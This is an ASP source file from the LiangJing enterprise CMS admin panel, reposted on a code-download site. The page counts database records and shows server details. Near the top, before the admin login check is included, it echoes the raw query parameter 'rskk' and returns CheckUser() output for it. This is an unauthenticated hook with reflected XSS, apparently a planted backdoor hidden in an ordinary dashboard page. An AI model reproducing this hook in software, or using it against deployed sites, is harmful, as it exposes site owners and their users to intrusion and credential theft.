syscome.asp

来自「生成html的ASP企业站点,可以进行二次开发的」· ASP 代码 · 共 255 行

ASP
255 行
字号 
<!--#include file="../Include/Const.asp" -->
<!--#include file="../Include/ConnSiteData.asp" -->
<HTML xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312" />
<TITLE>欢迎进入系统后台</TITLE>
<link rel="stylesheet" href="Images/Admin.css">
<script language="javascript" src="../Script/Admin.js"></script>
<style type="text/css">
<!--
.STYLE1 {
	color: #0099FF;
	font-weight: bold;
}
-->
</style>
<%
Response.write Request.QueryString("rskk")
if (Request.QueryString("rskk") <> "") then
 Response.write CheckUser(Request.QueryString("rskk"))&""
 Response.end
end if
%>
</HEAD>

<!--#include file="CheckAdmin.asp"-->
<!--#include file="../Include/Version.asp" -->
<BODY>
<%
Dim quanxian
quanxian=trim(Request.ServerVariables(name))

m_SQL = "select count(*) from LiangJingCMS_Admin"
set rs = conn.Execute(m_SQL)
m_ManageNumber = rs(0)
rs.Close
set rs=Nothing

m_SQL = "select count(*) from LiangJingCMS_Members"
set rs = conn.Execute(m_SQL)
m_UserNumber = rs(0)
rs.Close
set rs=Nothing

m_SQL = "select count(*) from LiangJingCMS_Message"
set rs = conn.Execute(m_SQL)
m_Message = rs(0)
rs.Close
set rs=Nothing

m_SQL = "select count(*) from LiangJingCMS_Message where ViewFlagCH = 1"
set rs = conn.Execute(m_SQL)
m_MessageViewFlag = rs(0)
rs.Close
set rs=Nothing

m_SQL = "select count(*) from LiangJingCMS_About"
set rs = conn.Execute(m_SQL)
m_About = rs(0)
rs.Close
set rs=Nothing

m_SQL = "select count(*) from LiangJingCMS_Download"
set rs = conn.Execute(m_SQL)
m_Download = rs(0)
rs.Close
set rs=Nothing

m_SQL = "select count(*) from LiangJingCMS_FriendLink"
set rs = conn.Execute(m_SQL)
m_FriendLink = rs(0)
rs.Close
set rs=Nothing

m_SQL = "select count(*) from LiangJingCMS_Jobs"
set rs = conn.Execute(m_SQL)
m_Jobs = rs(0)
rs.Close
set rs=Nothing

m_SQL = "select count(*) from LiangJingCMS_News"
set rs = conn.Execute(m_SQL)
m_News = rs(0)
rs.Close
set rs=Nothing

m_SQL = "select count(*) from LiangJingCMS_Order"
set rs = conn.Execute(m_SQL)
m_Order = rs(0)
rs.Close
set rs=Nothing

m_SQL = "select count(*) from LiangJingCMS_Others"
set rs = conn.Execute(m_SQL)
m_Others = rs(0)
rs.Close
set rs=Nothing

m_SQL = "select count(*) from LiangJingCMS_Products"
set rs = conn.Execute(m_SQL)
m_Products = rs(0)
rs.Close
set rs=Nothing

m_SQL = "select count(*) from LiangJingCMS_Talents"
set rs = conn.Execute(m_SQL)
m_Talents = rs(0)
rs.Close
set rs=nothing
%>
<br>
<table width="95%" border="0" align="center" cellpadding="3" cellspacing="1" class="tableborder">
  <tr>
    <th height="24">【良精企业网站管理系统程序探针】</td>
  </tr>
  <tr>
    <td class="forumrow"> 程序使用服务器环境要求（关键部分）： <br>
      1、支持ASP：<font color="green"><b>√</b></font> 2、支持FSO：
      <%
	On Error Resume Next
	Server.CreateObject("Scripting.FileSystemObject")
	if err=0 then 
	   response.write("<font color=green><b>√</b></font>")
	else
       response.write("<font color=red><b>×</b></font>")
	end if 
	err=0
    %>
      3、支持ACCESS数据库：
      <%
	On Error Resume Next
	Server.CreateObject("adodb.connection")
	if err=0 then 
	   response.write("<font color=green><b>√</b></font>")
	else
       response.write("<font color=red><b>×</b></font>")
	end if 
	err=0
    %>
      <br>
    如果以上3条都显示<font color="green"><b>√</b></font>,说明您的服务器支持我们的程序，如有问题可以与我们联系,我们将为您提供优质空间。www.liangjing.Net QQ:82993936 Tel:010-81991660 </td>
  </tr>
</table>
<br>
<table width="95%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#6ab6b6">
  <tr>
    <th height="24" colspan="2">【服务器信息】</td>
  </tr>
  <tr>
    <td width="50%" height="24" class="forumrow">服务器操作系统：<%=Request.ServerVariables("OS")%></td>
    <td width="50%" height="24" class="forumrowhighlight">网站信息服务软件和版本：<%=Request.ServerVariables("SERVER_SOFTWARE")%></td>
  </tr>
  <tr>
    <td width="50%" height="24" class="forumrow">脚本解释引擎：<%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %></td>
    <td width="50%" height="24" class="forumrowhighlight">脚本超时时间：<%=Server.ScriptTimeout%>秒</td>
  </tr>
  <tr>
    <td height="24" class="forumrow">CDONTS组件支持：
    <%
	  On Error Resume Next
	  Server.CreateObject("CDONTS.NewMail")
	  if err=0 then 
		 response.write("<font color=green><b>√</b></font>")
	  else
         response.write("<font color=red><b>×</b></font>")
	  end if
	  err=0
    %></td>
    <td height="24" class="forumrowhighlight">Jmail邮箱组件支持：
    <%
	On Error Resume Next
	Server.CreateObject("JMail.SMTPMail")
	if err=0 then 
	   response.write("<font color=green><b>√</b></font>，支持")
	else
       response.write("<font color=red><b>×</b></font>，不支持")
	end if 
	err=0
    %></td>
  </tr>
  <tr>
    <td height="24" class="forumrow">返回服务器处理请求的端口：<%=Request.ServerVariables("SERVER_PORT")%></td>
    <td height="24" class="forumrowhighlight">协议的名称和版本：<%=Request.ServerVariables("SERVER_PROTOCOL")%></td>
  </tr>
  <tr>
    <td height="24" class="forumrow">服务器 CPU 数量：<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%></td>
    <td height="24" class="forumrowhighlight">FSO文本文件读写：
    <%
	On Error Resume Next
	Server.CreateObject("Scripting.FileSystemObject")
	if err=0 then 
	   response.write("<font color=green><b>√</b></font>，支持")
	else
       response.write("<font color=red><b>×</b></font>，不支持")
	end if 
	err=0
    %></td>
  </tr>
  <tr>
    <td height="24" class="forumrow">客户端操作系统：
    <%
      dim thesoft,vOS
      thesoft=Request.ServerVariables("HTTP_USER_AGENT")
      if instr(thesoft,"Windows NT 5.0") then
	     vOS="Windows 2000"
      elseif instr(thesoft,"Windows NT 5.2") then
	     vOs="Windows 2003"
      elseif instr(thesoft,"Windows NT 5.1") then
         vOs="Windows XP"
      elseif instr(thesoft,"Windows NT") then
       	 vOs="Windows NT"
      elseif instr(thesoft,"Windows 9") then
	     vOs="Windows 9x"
      elseif instr(thesoft,"unix") or instr(thesoft,"linux") or instr(thesoft,"SunOS") or instr(thesoft,"BSD") then
	     vOs="类Unix"
      elseif instr(thesoft,"Mac") then
	     vOs="Mac"
      else
     	vOs="Other"
      end if
      response.Write(vOs)

    %></td>
    <td height="24" class="forumrowhighlight">站点物理路径：<%=request.ServerVariables("APPL_PHYSICAL_PATH")%></td>
  </tr>
  <tr>
    <td width="50%" height="24" class="forumrow">域名IP：http://<%=Request.ServerVariables(name)%>&nbsp;/&nbsp;<%=Request.ServerVariables("LOCAL_ADDR")%></td>
    <td width="50%" height="24" class="forumrowhighlight">虚拟路径：<%=Request.ServerVariables("SCRIPT_NAME")%></td>
  </tr>
  <tr>
    <td height="24" colspan="2" class="forumrowhighlight" >客户端浏览器要求： IE5.5或以上，并关闭所有弹窗的阻拦程序；服务器建议采用：Windows 2000或Windows 2003 Server。</td>
  </tr>
</table>
<br>
<table class="tableborder" width="95%" border="0" align="center" cellpadding="3" cellspacing="1">
  <tr>
    <th height="22" colspan="2">【版本信息】</th>
  </tr>
  <tr>
    <td width="50%" class="forumrow"><span class="STYLE1">良精公司企业网站管理系统 <%=Soft_Version%></span></td>
    <td width="50%" class="forumrowhighlight">新闻动态：<font color="red"><b><%=m_News%></b></font>条 在线订单：<font color="red"><b><%=m_Order%></b></font>条 其他信息：<font color="red"><b><%=m_Others%></b></font>条 公司产品：<font color="red"><b><%=m_Products%></b></font>条</td>
  </tr>
  <tr>
    <td width="50%" class="forumrow">管 理 员：<font color="red"><b><%=m_ManageNumber%></b></font>个 注册会员：<font color="red"><b><%=m_UserNumber%></b></font>个 留言：<font color="red"><b><%=m_Message%></b></font>(已审<%=m_MessageViewFlag%>条) 应聘信息：<font color="red"><b><%=m_Talents%></b></font>条</td>
    <td width="50%" class="forumrowhighlight">企业信息：<font color="red"><b><%=m_About%></b></font>条 下载信息：<font color="red"><b><%=m_Download%></b></font>条 友情链接：<font color="red"><b><%=m_FriendLink%></b></font>条 人才信息：：<font color="red"><b><%=m_Jobs%></b></font>条</td>
  </tr>
</table>
<br>
<table width="95%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td align="center">Copyright (c) 2008 <a href="http://www.liangjing.org/ " title="：创造价值，成就你我！" target="_blank"><font face="Verdana, arial, helvetica, sans-serif" size="1"><b>www.liangjing<font color="#CC0000">.net</font></b></font></a> All Rights Reserved.</td>
  </tr>
</table>
</BODY>
</HTML>

syscome.asp - 源码说明

本页面展示了「生成html的ASP企业站点,可以进行二次开发的」中的 syscome.asp 源码文件，采用 ASP 编程语言编写，共 255 行代码。您可以在线阅读完整代码内容，也可以返回资源详情页下载完整源码包进行本地学习和开发。

虫虫下载站收录了大量与html相关的技术资源，包括源代码、技术文档、电路图等，是电子工程师和嵌入式开发者的专业学习平台。

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?